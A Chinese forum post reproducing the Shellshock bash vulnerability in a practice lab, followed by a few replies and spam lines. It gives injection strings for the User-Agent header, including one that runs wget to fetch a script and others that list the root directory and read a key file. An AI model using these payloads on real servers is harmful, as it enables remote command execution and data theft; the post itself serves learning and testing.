漏洞复现——bash远程解析命令执行漏洞
漏洞描述：Bash脚本在解析某些特殊字符串时出现逻辑错误导致可以执行后面的命令，在一些cgi脚本中，数据是通过环境变量来传递的，这样就会形成该漏洞漏洞原理：bash通过以函数名作为环境变量名，以“（）{”（bash只有在遇到特殊的环境变量才会触发该漏洞）开头的字串作为环境变量的值来将函数定义导出为环境变量。而该漏洞就在于BASH处理这样的“函数环境变量”的时候，并没有以函数结尾“}”为结束，而是一直执行其后的shell命令。 比如：(){:;};wget http://127.0.0.1/test.sh 服务器在处理这个请求的时候，会执行wget命令，就会把这个test.sh下载下来漏洞攻击：抓包修改user-agent内容漏洞防御：升级版本：示例：在一个靶场复现该漏洞第一种方法：这是一个存在该漏洞的网站，我们需要去找一下有cgi的页面，如下图：抓包，将User-Agent的改成() { :;}; echo; /bin/ls /"/bin/ls /"是调用ls查看所有文件
查看key.txt：() { :;}; echo; /bin/cat /key.txt，成功得到key
大佬牛逼
Check out some funny pop art tees
Dragon ??? 2020-2-29 22:31????
Check out some quirky pop art tote bags 好好好好好好好好好好好好好好好好好顶
页:
[1]